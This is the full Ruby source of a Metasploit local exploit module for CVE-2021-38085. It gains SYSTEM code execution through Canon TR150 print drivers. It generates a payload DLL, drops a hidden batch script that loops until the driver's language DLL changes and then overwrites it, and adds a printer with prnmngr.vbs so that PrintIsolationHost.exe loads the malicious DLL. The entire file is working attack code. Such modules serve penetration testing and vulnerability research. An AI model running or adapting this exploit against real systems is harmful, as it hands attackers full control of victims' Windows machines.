##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Canon Driver Privilege Escalation',
        'Description' => %q{
          Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files
          within the "CanonBJ" directory and its subdirectories. By overwriting the DLL at
          C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 series\LanguageModules\040C\CNMurGE.dll
          with a malicious DLL at the right time whilst running the C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs
          script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,
          which runs as NT AUTHORITY\SYSTEM, to successfully load the malicious DLL. Successful exploitation
          will grant attackers code execution as the NT AUTHORITY\SYSTEM user.

          This module leverages the prnmngr.vbs script
          to add and delete printers. Multiple runs of this
          module may be required given successful exploitation
          is time-sensitive.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jacob Baines', # discovery, PoC, module
          'Shelby Pace' # original Ricoh module
        ],
        'References' =>
          [
            ['CVE', '2021-38085'],
          ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' =>
          [
            [
              'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }
            ]
          ],
        'Notes' =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ UNRELIABLE_SESSION ],
          'Stability' => [ SERVICE_RESOURCE_LOSS ]
        },
        'DisclosureDate' => '2021-08-07',
        'DefaultTarget' => 0
      )
    )

    self.needs_cleanup = true
  end

  def check
    @driver_path = ''
    dir_name = 'C:\\ProgramData\\CanonBJ\\IJPrinter\\CNMWINDOWS\\Canon TR150 series'

    return CheckCode::Safe('No Canon TR150 driver directory found') unless directory?(dir_name)

    language_dirs = dir(dir_name)

    return CheckCode::Detected("Detected Canon driver directory, but no language files. Its likely the driver is installed but a printer hasn't been added yet") unless language_dirs.length

    @driver_path = dir_name
    @driver_path.concat('\\LanguageModules\\040C')
    res = cmd_exec("icacls \"#{@driver_path}\"")
    vulnerable = res.match(/\\Users:(?:\(I\))?\(OI\)\(CI\)\(F\)/)

    return CheckCode::Safe("#{@driver_path} directory does not exist or does not grant Users full permissions") unless vulnerable

    vprint_status("Vulnerable language driver directory: #{@driver_path}")
    CheckCode::Appears('Canon language driver directory grants Users full permissions')
  end

  def add_printer(driver_name)
    fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)

    dll_data = generate_payload_dll
    dll_path = "#{@driver_path}\\CNMurGE.dll"

    temp_path = expand_path('%TEMP%\\CNMurGE.dll')

    bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")
    cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""

    # this script monitors the target dll for modification and then copies
    # over our malicious dll. As this is a time based attack, it won't
    # always be succuessful!
    bat_file = <<~HEREDOC
      attrib -a "#{dll_path}"
      :repeat
      for %%i in ("#{dll_path}") do echo %%~ai | find "a" >nul || goto :repeat
      timeout /t 1
      #{cp_cmd}
      attrib -a "#{dll_path}"
    HEREDOC

    print_status("Dropping batch script to #{bat_file_path}")
    write_file(bat_file_path, bat_file)

    print_status("Writing DLL file to #{temp_path}")
    write_file(temp_path, dll_data)
    register_files_for_cleanup(bat_file_path, temp_path)

    script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""
    bat_cmd = "cmd.exe /c \"#{bat_file_path}\""
    vprint_status('Executing the batch script...')
    client.sys.process.execute(bat_cmd, nil, { 'Hidden' => true })

    print_status("Adding printer #{@printer_name}...")
    cmd_exec(script_cmd)
  rescue Rex::Post::Meterpreter::RequestError => e
    fail_with(Failure::Unknown, "#{e.class} #{e.message}")
  end

  def exploit
    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?

    fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'

    if sysinfo['Architecture'] != payload.arch.first
      fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target machine')
    end

    @printer_name = Rex::Text.rand_text_alpha(5..9)
    @script_path = 'C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs'
    drvr_name = 'Canon TR150 series'

    add_printer(drvr_name)
  end

  def cleanup
    print_status("Deleting printer #{@printer_name}")
    sleep(3)
    delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
    client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })
  end
end